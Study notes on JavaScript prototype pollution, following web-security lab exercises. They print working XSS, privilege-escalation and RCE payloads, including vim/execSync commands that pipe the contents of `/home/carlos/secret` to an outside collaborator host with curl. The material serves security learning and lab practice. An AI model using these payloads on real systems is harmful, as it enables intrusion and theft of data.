# Prototype pollution
[TOC]
==Definition==
Prototype pollution is a vulnerability in javascript ,that enable attacker to add properties
to global object prototype, which may then be inherited by user-defined objects.
# Javascript prototype and inheritance
Almost everything in JavaScrpt is an object under the hood
## property
property -> key:value
```
const meowhecker = {
name:"meowhecker", //property
age:10 //property
method:function(){
// do somethings
}
}
```
## Access the property
Access Methods:
- dot notation
- bracket notation
```
meowhecker.name
meowhecker['age']
```
## Object Literal
Object Literal is mean the object is create by the curly brace syntax
## Javascript prototype
Every object in javascript is linked to another object (prototype)
By the Default
Javascript automatically assign new object one of built-in prototype.


```
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
```
Object automatically inherit all the property of their assign prototype
## Javascript inheritance
When we reference a property of an Object
Firstly -> JavaScript engine access the property directly on the object itself.
if the property is not found on the object,we then looking for it in the object's prototype

## Prototype chain
object's prototype is just another object, which should also have own prototype

Crucially, objects inherit properties not just from their immediate prototype, but from all objects above them in the prototype chain.
username object can access to the prototype and method of both String.prototype and Object.prototype.
## Accessing an object's prototype using __porto__
```
username.__proto__
username['__proto__']
```
chain reference
```
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
```
## Modify prototype
String object
```
String.prototype.removeWhitespace = function(){
// remove leading and trailing whitespace
}
```
```
let searchTerm = " example ";
searchTerm.removeWhitespace(); // "example"
```
# Prototype Pollution vulnerability ARise.
Prototype pollution arise when recursively merges an object containing user-controllable properties into an existing object
Sample
```javascript
const object1 = {
name: "Alice",
address: {
city: "New York",
country: "USA"
}
};
const object2 = {
age: 30,
address: {
country: "Canada"
}
};
const mergeObject = {};
function resursiveMerge(targetObject, inputObj) {
for (let key in inputObj) {
if (typeof inputObj[key] === "object" && inputObj[key] !== null) { //if value is object and valule isn't null
if (!targetObject[key]) {
targetObject[key] = {}; // create empty Key
}
resursiveMerge(targetObject[key], inputObj[key]); // resursive invoke
} else {
targetObject[key] = inputObj[key]; // Assight the value
}
}
}
resursiveMerge(mergeObject, object1);
resursiveMerge(mergeObject, object2);
console.log(mergeObject);
```
Result
```
{
name: 'Alice',
address: { city: 'New York', country: 'Canada' },
age: 30
}
```
If developer doesn't sensitive the key, we can inject a property with key like __proto__
merger operation may assign the property to the object's prototype instead of the object's itself
Common Occurs:
Object.prototype
# Exploitation of Prototype Pollution
## Getter
__proto__ -> getter
__proto__ point to object prototype.
javascript can use this to return object prototype !
When we assign the value by __proto__, actually we are assign value on prototype !
```javascript
let obj = {};
obj.__proto__.evilProperty = "I'm evil!";
console.log(obj.evilProperty); // "I'm evil!"
console.log(Object.prototype.evilProperty); // "I'm evil!"
```
Sample

## Prototype pollution source
Prototype pollution source means any user control input that enable you to add arbitrary property to prototype object
==Common source==
URL or fragment string (hash)
JSON-base input
Message
### (Source 1)Prototype pollution via the url
When breaking the query string as key:value !
->Seen __proto__ is string to merge exists Object
Example (Website parse key and value via URL)
```
https://mewohecker.com?__proto__['evilProperty'] = payload
```
Merge Operation !
```
{
existingProperty1: 'foo',
existingProperty2: 'bar',
__proto__: {
evilProperty: 'payload'
}
}
```
statement equivalent to the following:
```
targetObject.__proto__.evilProperty = 'payload';
```

If the `targetObject` is `Object.prototype`, all objects will inherit the "evil" property.
### (Source 2)Prototype pollution JSON input
JSON.parse will seen "__proto__" as a string not a getter method, it provide us a potential vector for prototype pollution.
```
const objectLiteral = {__proto__:{admin:"Ture"}}
const objectFromJson = JSON.parse('{"__proto__":{"admin":"Ture"}}')
console.log(objectLiteral.hasOwnProperty('__proto__')) //false
console.log(objectFromJson.hasOwnProperty('__proto__')) //true
```
## Prototype pollution sink
"Sink" refers to javaScript Function or DOM element that allow us to execute arbitrary javasScript or system command.
prototype pollution can enable us to manipulate property that original inaccessible.
we will have more opportunity to interact with additional sinks and exploit it
## Prototype pollution gadgets(小裝置)
gadges -> Prototype pollution vulnerability turn into an actual exploit
- Passing a property to a sink without any sensitivity!
- An object inherits a malicious property added to the prototype by an attacker.
If injected property is defined directly on the object itself, it's not considered a prototype pollution gadgets (The object's own version fo the property takes precedence over the injected property)
### Example of prototype pollution gadgets
Library code
```
let transportURL = config.transportURL || default.transportURL
```
if a specific options (config.tranportURL) is not present a predefined default option (default.transportURL) will be used instead.
---
# Client-Side prototype pollution
## Manual Testing
- Step 1 Find out injection Point !
Find ouy url(Parse Key:value ) or json input(Using Json.parse()) can merge exists obj malicious attribute to prototype
Step 2 Check Pollution Occurred !
create obj in console to determine the pollution was occurred!
```javascript=
__proto__[foo]=bar
__proto__.foo=bar
Bypass __protot__ check !
myObject.constructor.prototype == myObject.__proto__
```
## DOM Invader(XSS 測試工具)
DOM Invader is Burp Suite extension tool(pre-installer) used for automated testing the DOM XSS vulnerabilities.
### Enabling DOM invader


### Key Feature

==Automatically identify sources of client-side prototype pollution==
the tool will automatically detect the potential Source and you can then select "Scan for gadgets" options to find the Sink and exploit it.

## Lab: DOM XSS via Client-side prototype pollution
>Description:
Confing.transport is not be defined We can pollute it by using the __proto__.
### Impact
pre-auth
Arbitrarily javascript execution
### Analysis


I found the object will inherit the __proto__, if the property is not be defined.
Source
```javascript!
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
```
Analysis
logQuery()
input: HTTP URL and Params
```
JSON.stringify(params)
```
javascript Object trans into JSON
searchLogger()
create the config Object
Attribute -> params
Methods:
ToStrng
transport_url
-> transport\_URL -> If transport\_URL is not defined, we can pollute it
(we could control it )
```
script.src = config.transport_url;
```
Source:
->URL query
```
?search=meowhecker&constructor[prototype][testproperty]=DOM_INVADER_PP_POC
```
Embedding the data that we can control in the URL.
Format
```
data:[<mediatype>][;base64],<data>
```
Sink:
```
<script src="$transport_url"></scirpt>
```
Identify a gadget

Steps to Reproduce
XSS-payload

```
?search=meowhecker&__proto__[transport_url]=data%3A%2Calert%281%29
```

Solved !
---
## LAB:DOM XSS via an alternative prototype pollution vector
### Impact:
pre-auth
Arbitrarily javascript execution
### Analysis
Prototype pollution is probable:
Method 1
```
url?__proto__['meow']=hecker
```
-> Failed
Object.prototype is not affected by our injection
. So we can try another way to test it
Method 2
```
url?__proto_.meow = hecker
```
Result

Sink:
Search logger()
```javascript
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
```
manager.squence -> not Defined !!
payload
?__proto__.sequence=alert(1)
### Payload
Debug analysis:


We need to consider how to make "alert(1)1" can be execute correctly within eval function
```javascript
let object ={
sequence:"alert(1)"
}
let source = object.sequence+"1"
console.log(source)
eval(source)
```

Validated Payload
```
alert(1)<!--
```
or
```
alert(1)-"
```
這裡 - 會被parse 成 -號 但alert(1) 會被execute

evil -> 可以想成`<script></script>`

## Prototype Pollution via the Construction(Alternative Vector)
### Common Defends
Common Defends strategy involves to removing any property with key __proto__ from user controlled object.
However, it's possible to reference `Object.prototype` without using the string "proto" at all.
---
If the prototype set is not "null," the `Object` will utilize the constructor function (`Object`) to create a new instance.
```javascript
myObjectLiteral.constructor // function Object(){...}
myObject.constructor // function Object(){...}
```
COnstructor function Also have the __proto__ property
```
myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
```
As `myObject.constructor.prototype` is equivalent to `myObject.__proto__`, this provides an alternative vector for prototype pollution.
```
__proto__[meow]='hecker'
__proto__.meow='hekcer'
object.constructor[prototype]=hecker
```
```
URL
```javascript
__proto__.property="value"
Object.constructor.prototype.property="value"
```
### JSON payload
```
"constructor":{
"prototype":{
"isAdmin":true
}
}
```
```
## Bypass Flawed key sensitive
Common mistake is failing to recursively sanitize the input string.
e.g.
```
url?__pro__proto__to__[gadget]=payload
```
```
url?__proto__.gadget=payload
```
## Lab: Client-side prototype pollution via flawed sanitization
Analysis
```
__proto__.meow='hecker'
__proto__[meow]='hecker'
construct.prototype.meow ='hecker'
construct[prototype][meow]='hecker'
```
## Key Sensitive Bypass
GET /resources/js/searchLoggerFiltered.js
```javascript
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
```
```
?__pro__proto__to__[meow]='hecker'
```

### Sink
```javascript
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
```
### Exploit
payload
```
?__pro__proto__to__[transport_url]=data:,alert(1);
```

---
## Prototype pollution in external libraries
The prototype pollution gadgets may occur in the third-part library that are imported by the application
## LAB Client-side prototype pollution in third-part libraries.
Using the DOM invader to Search potential Sink

### Impact:
Arbitrary Javascript Execution
Analysis:


### payload
```
#__proto__[hitCallback]=alert%281%29
```
Craft the response
Mal-URL
```
https://exploit-0af700bc036fcd7783a4ecd701520015.exploit-server.net/meowhecker.com
```
Response Header
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```
BOdy
```htmlembedded
Hello, world!
I'am MeowHecker~
<script>
location = "https://0af200cc03b3cdab8317ed9e006b0046.web-security-academy.net/#__proto__[hitCallback]=alert(%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20)"
</script>
```
IF the victim clicks the malicious URL, it will trigger the payload and execute the arbitrary javascript code.
---
## Browser API
### prototype via fetch()
fetch function allow the client to trigger the HTTP requests Using the javascript.
Sample
```
fetch('http://meowhecker',{
method:POST,
body:username=??&password=??
})
```
Vulnerable Code
Attacker can try the use header property to inject malicious code
```javascript
fetch('/my-products.json',{method:"GET"})
.then((response) => response.json())
.then((data) => {
let username = data['x-username'];
let message = document.querySelector('.message');
if(username) {
message.innerHTML = `My products. Logged in as <b>${username}</b>`;
}
let productList = document.querySelector('ul.products');
for(let product of data) {
let product = document.createElement('li');
product.append(product.name);
productList.append(product);
}
})
.catch(console.error);
```
It utilize an HTTP request to retrieve the username from the server and set the vale of the username variable
```
let username = data['x-username']
```
Before the requesting to JSON file, the username variable is not defined
and attacker can inject malicious property pass in InnerHTML(SINK) which can leaded to DOM XSS
```
message.innerHTML = `My products. Logged in as <b>${username}</b>`;
```
payload
```
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
```
headers -> 取得HTTP request (header)部分
Analysis
```javascript!
const customerHeader = {
headers:{
'Content-Type': 'application/json',
'Authorization': 'meowhecker secret-token',
'testing':undefined
}
}
const response ={
__proto__:customerHeader
}
console.log(response.headers);
console.log(response.__proto__.headers);
console.log(response.__proto__.headers['Content-Type']);
```
-> we can controlled any undefined property of the options object passed to fetch()
## Prototype pollution via Object.defineProperty()
Flawed prototype pollution Mitigation
```javascript
const vulnerableObject = {}
Object.defineProperty(vulnerableObject,'gadgetProperty',{
configurable:false,
writable:false
})
vulnerableObject.gadgetProperty = "meowhacker hacke in"
console.log(vulnerableObject.gadgetProperty)
```
descriptor 如果沒有 initial value -> e.g. value : "value"
payload
```
__proto__.value="evil input"
```
---
## LAB
analysis:
Source(URL)
/?__proto__[meow]="hacker"

vulnerable code
```javascript
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
```
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
he don't defined the initial value of the property(Object.defineProperty )!!
```
/?__proto__[value]=meowhecker
```

### Exploit
payload
```
?__proto__[value]=data:,alert(1)
```

# Serve Side prototype pollution
More difficult
- NO-source code
- DOS problems
- Pollution persistence
## Polluted property reflection(Detection)
A "for...in" loop in JavaScript can enumerate properties, including those inherited from the prototype.
```javascript=
userObj = {
name:"user",
password:"user123"
}
Object.prototype.meow = "hacker"
console.log(userObj.hasOwnProperty('moew')) //output: false
console.log(userObj.meow)
console.log("---------------------------------------------------")
//for loop enumerate
console.log("for...loop")
for (propertyKey in userObj){
console.log(propertyKey)
}
```
if the server side for..loop is used to retrieve obj values and respond to client, we can utilize it to send POST or PUT request to test whether there is a global prototype pollution or not.
### Detect way (Reflect)
Way 1 (JSON injections)
Request!
```
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"name":"user",
"password":"user123",
__proto__:{
"meow":"hacker" // injected property
}
}
```
Response!
```
HTTP/1.1 200 OK
...
//if the website have prototype pollution vulnerable
{
"name":"user",
"password":"user123",
"meow":"hacker" //Server-side have prototype pollution
}
```
In rare case, the website use these properties to dynamically generate the html. This mean that we can analysis the html to know the website whether it have vulnerability or not.
if we are aware prototype pollution is possible,the next step is to find the potential gadget to exploit this vulnerability
We could investigate any feature including updating user date, if we can arbitrarily modify any property of the current user object ,this potentially lead to a number of vulnerabilities, including privilege escalation.
## LAB- Privilege escalation via server-side prototype pollution
Environment
- Node.js
- Express
After logging into the website, we are aware that there is an "update user" functionality. We can proceed to test it to determine whether there is a prototype pollution vulnerability.
POST /my-account/change-address HTTP/2
Request
```
POST /my-account/change-address HTTP/2
{"address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"YutUbIOtOx84Q7Dw9VeolizacFtRiH5Y",
"__proto__": {
"meow":"Hacker"
}
}
```
Response
```
{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false,"foo":"bar","meow":"Hacker"}
```
Based on the results, if we can arbitrarily modify user object properties, we can attempt to elevate the user's privileges to that of an admin.
Privilege User -> Admin
payload
request
```
POST /my-account/change-address HTTP/2
"__proto__": {"admin":"true"}
```
Easy


---
## Detecting prototype pollution without polluted property pollution (Non-destructive)
we can attemp inject property to the potential configuration option of the server, and compare the server's behavior before and after
### Status code override
```
HTTP/1.1 200 OK
...
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
```
self-defined Error Object
Node http-error module
```javascript
function createError(arg,status){
// object
if (typeof arg === 'object' && arg instanceof Error){
status = arg.status || arg.statusCode || status
}else if (arg === 'number'){
status = arg;
}
const error = new Error(`Custom Error with Status Code${status}`)
error.status = status
return error
}
const error1 = createError(404); // create 404 Error Object
console.error(error1);
const customError = new Error('This is a custom error');
customError.status = 418;
const error2 = createError(customError);
console.error(error2);
```
Injected point:
==status = arg.status \|| arg.statusCode || status==
If the developer didn't explicitly set the "status" property for an error, we could attempt to pollute this property to determine whether there is a prototype pollution vulnerability or not.
#### Methods
1. Find a way to trigger the error and record the default status code.
2. Attempt to pollute the prototype with your own `status` property.
3. Trigger the error response and check whether the status code has been overridden.
### JSON spaces override
Express 4.17.4 (below)
### charset override
middleware -> preprocessing of requests before pass to the handler function
==req.body obj==
```javascript
const express = require("express");
const bodyParse = require("body-parser")
const app = express()
//middleWare
//Parse the reqeust
//paser application/x-www-form-urlencoded"
app.use(bodyParse.urlencoded())
//paser JSON data to js object
app.use(bodyParse.json())
app.post('/api/meow',(req,rsp)=>{
const requestBodyObj = req.body
console.log(requestBodyObj)
rsp.json({message:'Received data !!'})
})
const port = process.env.PORT || 8001
app.listen(port,()=>{
console.log(`Server is running on port ${port}`);
console.log(`http://127.0.0.1:${port}`)
})
```
```
USER@DESKTOP-QGJ2K9H MINGW64 ~/Desktop/CSIE/WebSecurity (master)
$ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "key1=value1&key2=value2" http://127.0.0.1:8001/api/meow
{"message":"Received data !!"}
body-parser deprecated undefined extended: provide extended option reqBodyObj.js:10:23
Server is running on port 8001
http://127.0.0.1:8001
{ key1: 'value1', key2: 'value2' }
```
---
charset
charset is used to instruct the server on how to decode and parse the data
```javascript
const express = require("express");
const bodyParse = require("body-parser")
const contentType = require('content-type');
const read = require('read');
const app = express()
const port = process.env.PORT || 8001
//middleWare
//Parse the reqeust
//paser application/x-www-form-urlencoded"
app.use(bodyParse.urlencoded({ extended: false }))
//paser JSON data to js object
app.use(bodyParse.json())
app.use((err, req, res, next) => {
console.error('Error:', err);
res.status(500).send('Internal Server Error');
});
function getCharset(req){
try {
//get the contentType of charest property
return (contentType.parse(req).parameters.charset || "").toLowerCase()
}
catch(error){
console.log(error)
return undefined
}
}
app.post('/api/post1',(req,res)=>{
const requestBodyObj = req.body
console.log(requestBodyObj)
res.json({message:'Received data !!'})
})
//charset
app.post('/api/post2',(req,res)=>{
// get the charset form HTTP header (Content-Type:)
const charset = getCharset(req) || "utf-8"
const readOption = {
//encoding -> Inform the server to use a specific character encoding for decoding when reading data.
encoding: charset
// //compose data
// inflate: inflate,
// //Maximum string length.
// limit: limit,
// verify: verify
}
//read the data: parse request -> to data
//Read function have BUG
read(req,res,(err,data)=>{
if(err){
console.error('Error reading request:', err);
res.status(500).send('Internal Server Error');
}else{
console.log(data)
// res.json({message:'Received data !!'})
res.send('Request data received successfully!');
}
},readOption)
})
app.listen(port,()=>{
console.log(`Server is running on port ${port}`);
console.log(`http://127.0.0.1:${port}`)
})
```
How to test??
we could follow these steps
send the json data to the server
In this data, the "role" field contains the value "+AGYAbwBv-", which is encoded as "foo" in UTF-7.
```json
{
"sessionId":"0123456789",
"username":"meowhecker",
"role":"+AGYAbwBv-"
}
```
And attempt to polluted req object
```
{
"sessionId":"0123456789",
"username":"meowhecker",
"role":"default",
"__proto__":{"content-type": "application/json; charset=utf-7"}
}
```
This payload tries to set the charset to UTF-7.
Resend
```json
{
"sessionId":"0123456789",
"username":"meowhecker",
"role":"+AGYAbwBv-"
}
```
if there is prototype pollution the role field will be pare as "foo"
#### `_http_incoming` module
```
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
// ...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
```
`_addHeaderLine()` function checks -> checks that no property already exists with the same key before transferring properties to an `IncomingMessage` object
我們用自己的 content-type 屬性污染原型-> undefined,則此時表示請求標頭原生的將被drop掉
讓我們的injection 有效
## LAB-Detecting server-side prototype pollution without the polluted prototype pollution
Request
```
POST /my-account/change-address HTTP/2
...
{"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k"}
```
Response
```
HTTP/2 200
{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
```
Now we could attempt to inject the prototype property to test it
```
{"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k",
"__proto__": {
"meow":"hacker"
}
}
```
it appears that response didn't reflect any of the injected property
```
{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
```
### Status code Override (way 1)
However, this dose not necessarily mean that there is no prototype pollution, we could try status code override to further investigate.
---
if we intentionally break the json form by removing the comma, The response might result in a error object

400 -> bad request
Implement might be like this:
```
status = arg.status || arg.statusCode || status
```
we could try
Inject prototy
```
POST /my-account/change-address HTTP/2
"__proto__": {
"status":555
}
```
```
HTTP/2 200 OK
...
```
```
```

---



### Charset override (way 2 )
Vulnerable implement probably like this:
```javascript
app.post('/api/post2',(req,res)=>{
// get the charset form HTTP header (Content-Type:)
const charset = getCharset(req) || "utf-8"
```
```javascript
function getCharset(req){
try {
//get the contentType of charest property
return (contentType.parse(req).parameters.charset || "").toLowerCase()
}
catch(error){
console.log(error)
return undefined
}
}
```
contentType.parse(req).parameters.charset
-> http Header -> contentType
payload
```
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
```
utf-7 Encoding
foo --> +AGYAbwBv-
Inject the prototype property !!
POST /my-account/change-address HTTP/2

---
POST /my-account/change-address HTTP/2

HTTP/2 200 OK

## Scanning for source
Auto Scanning Extension
Bapp store

Basic work flow
1. Install the **Server-Side Prototype Pollution Scanner** extension from the BApp Store and make sure that it is enabled. For details on how to do this, see [Installing extensions](https://portswigger.net/burp/documentation/desktop/extensions/installing-extensions)
2. Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history.
3. In Burp, go to the **Proxy > HTTP history** tab.
4. Filter the list to show only in-scope items.
5. Select all items in the list.
6. Right-click your selection and go to **Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution**, then select one of the scanning techniques from the list.
7. When prompted, modify the attack configuration if required, then click **OK** to launch the scan.
go to the **Extensions > Installed** tab, select the extension, then monitor its **Output** tab for any reported issues.


## Bypass input filter
### Flawed Sanitiztion
developer will write something to sanitize input(key sanitzation)
if developer didn't use recursion to thoroughly check, it's possible to bypass flawed key sanitization
`?__pro__proto__to__.gadget=payload`
or
use construction function
### Flawed application Configuration
Node applications can also delete or disable `__proto__` using the command-line flags `--disable-proto=delete` or `--disable-proto=throw`
we could use constructor function to bypass it
```javascript
// Create a constructor function
function LocalObj() {
name:"local object"
}
// Add a property to the prototype(global testing)
Object.prototype.property = "meow adding form Global Obj";
// Create an instance of MyObject
const myInstance = new LocalObj();
// Access the property on the instance
console.log(myInstance.property); // This will output "meow"
```
---
URL
```javascript
__proto__.property="value"
Object.constructor.prototype.property="value"
```
JSON
```
"constructor":{
"prototype":{
"isAdmin":true
}
}
```
## LAB-bypass input filter for server-side prototype pollution
我們直接在constructor 裡面 做prototype pollution
想必用單純的__proto__ 是沒辦法去做prototype pollution
Analysis:
```javascript
"constructor":{
"prototype":{
"status":580
}
}
```

---

---
```javascript
"constructor":{
"prototype":{
"isAdmin":true
}
}
```
or IN url(沒試過)
```
Object.constructor.prototype.isAdmin = true
```



conclusion
we cloud use
## Remote Code Execution
client-side ->DOM XSS
server-side ->potentially lead to RCE
### Vulnerably request
`child_process` module have a number of potential command execution sink in Node
Identify a vulnerably request:
Those danger sink are often invoked by a request that occurs asynchronously to the request
identified way
The best way to identify these requests is by polluting the prototype with a payload that triggers an interaction C2 server when called
`NODE_OPTIONS` -> String (為一組/多組 command line argument)
e.g.
- `--max-old-space-size`
- `--inspect`
For 自動 Depoly 可用的
When you start a new Node.js process, the defined command-line arguments should be used by default.
NODE_OPTIONS is a property of the env object, if value is not defined, we can attempt to polluted it and control it
Source:
```
var env = options.env || process.env; //638
```
Some node functions create new child process that accept the "shell" property to execute command
we could combine with NODE_OPTION(controllable-source) to execute arbitrary command
#### inspect
```javascript
function sayHello() {
console.log('Hello, world!');
while(1){
var number = 0
}
}
sayHello()
```
Cmd:
```
node --inspect .\debugInspeat.js
```
(Local Debugger)
Chrome Node Debuger
`chrome://inspect`

click `inspect`
(Remote dubgger)
```
--inspect=0.0.0.0:9229
```
```
"__proto__":{
"shell":"node",
"NODE_OPTION":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
```
### Child_process.fork() Method
https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68
Fork Function
```
function fork(modulePath, args = [], options) { //120
...
return spawn(options.execPath, args, options);
```
Remote Code Execution
```javascript
const {fork} = require('child_process')
const execArgsOptions=[
"--inspect=9926",
"--eval=require('child_process').execSync('curl http://127.0.0.1:8000')"
]
const options ={
//property
execArgv:execArgsOptions
}
const mainProcess = fork('child.js',[],options)
```
--eveal -> it could import the module
```
node .\mainProcessFork.js
Debugger listening on ws://127.0.0.1:9926/57a078d8-f94f-4a35-bf5d-49e2c7940d76
For help, see: https://nodejs.org/en/docs/inspector
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5224 100 5224 0 0 284k 0 --:--:-- --:--:-- --:--:-- 300k
```

Payload (RCE)
```json
"__proto__":{
"execArgv":[--eval=require('child_process').execSync('curl http://127.0.0.1:8000')]"
}
```
## LAB RCE via server-side prototype pollution
Analysis:
### Charset Override
```json
"constructor":{
"prototype":{
"content-type": "application/json; charset=utf-7"
}
}
```
Request

Response

We are certain that this service easily susceptible by the prototype pollution
### Probe Remote COde execution
POST /admin/jobs

Database clean and File system cleanup are highly likely to use Fork()
```
const {fork} = require('child_process')
const execArgsOptions=[
"--inspect=9926",
"--eval=require('child_process').execSync('curl http://127.0.0.1:8000')"
]
const options ={
//property
execArgv:execArgsOptions
}
const mainProcess = fork('child.js',[],options)
```
exploit payload
```json
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://3.25.65.151')"
]
}
```

"rm /home/carlos/morale.txt"

## child_process.execSync()
execSync() method accept 'shell' and 'input' properties.
we can injected certain property to write exploit script for arriving remote code execution.
```javascript
const {execSync} = require('child_process')
try {
const command = 'grep "meowhecker"'
const input = 'hellow meowhecker\n meowmeow\n'
const result = execSync(command,{shell:'/bin/bash',input})
//if shell and input didn't defind, we could pollute it
console.log("Result:", result.toString())
} catch (error){
console.error("Error", error.message)
}
```
---
==vulnerable==
(Default execSync())
"shell and input probably haven't been defined "
By polluting both of these property, you may be able to override the command that application intend to execute command.
Note:
shell:"executable binary file"
it's generally tricky to use Node itself as a shell for your attack.
the payload is passed via stdin the shell
must be able to execute command from stdin.
### Vim, Ex (Potential Vector)
```
"shell":"vim",
"input":"!: <command>\n"
```
## LAB-Exfiltrating sensitive via serve-side prototype pollution
HTTP Status Override
json inject
```json
"constructor": {
"prototype":{
"status":555
}
}
```


---
Probe for Remote Code Execution
```
"constructor":{
"prototype":{
"shell":"vim",
"input":":! curl http://1lnew78axsatxscyji29q55o1f76vwjl.oastify.com\n"
}
}
```

---


```
ubuntu@ip-54-252-53-102:~$ ls
test
ubuntu@ip-54-252-53-102:~$ ls ./
test
ubuntu@ip-54-252-53-102:~$ ls ./ | base64
dGVzdAo=
```
```shell
$ cat meotest | base64 | curl -d @- http://127.0.0.1:8000
```
@- Reading the data from the standard input.

---
Exploit (Exfiltrating sensitive data)
```json
"__proto__":{
"shell":"vim",
"input":"! echo 'meowhecker' | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}
```

---
```
"__proto__":{
"shell":"vim",
"input":"! ls /home/carlos | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}
```


```
"__proto__":{
"shell":"vim",
"input":"! cat /home/carlos/secret | base64 | curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}
```


# Real-World Case Analysis
# PP2RCE (prototype pollution to remote code Execution)
Reference https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce
## Vulnerable Code Analysis
```javascript!
//PP2RCE
const { execSync, fork } = require('child_process');
// child_process -> module
// execSync -> exec command
// fork -> create sub proccess !!
var object = {
name:"test"
}
function f1(){
console.log('Im funciotn')
}
function isObject(obj){
console.log(typeof obj);
return typeof obj === 'function' || typeof obj ==='object'
}
//console.log(isObject(f1))
//function
//true
//如果invoke f1() f1 沒有return -> defautl "undefined" !!
function mergeObject(targer,source){
for(let key in source){
if(isObject(targer[key])&&isObject(source[key])){
mergeObject(targer[key],source[key])
}
else{
targer[key] = source[key]
}
}
return targer
}
function cloneObj(targerObj){
mergeObject({},targerObj)
}
// user object -> source
clone(USERINPUT);
var MainProcess = fork('execFileEcho.js')
// echo meow>execFileEcho : execSync
```
## Gadget
when process is spawned with some method from child_process (fork() or spawn())
fork() will call the `normalizeSpawnArguments` function to create the Env Variable
Source Code
https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68
標準化Spawn參數 Function
```javascript
var env = options.env || process.env; //638
...
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
for (const key of envKeys) { //681~686
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`);
}
}
```
-> 686 (Gadget)
If both options.env and process.env have values, the "env" will choose the value of options.env.
-> 681~686
we can poison envPairs just by pollution the .env attribute
__prototype__['env'] = ??? Attacker can Controlled (source)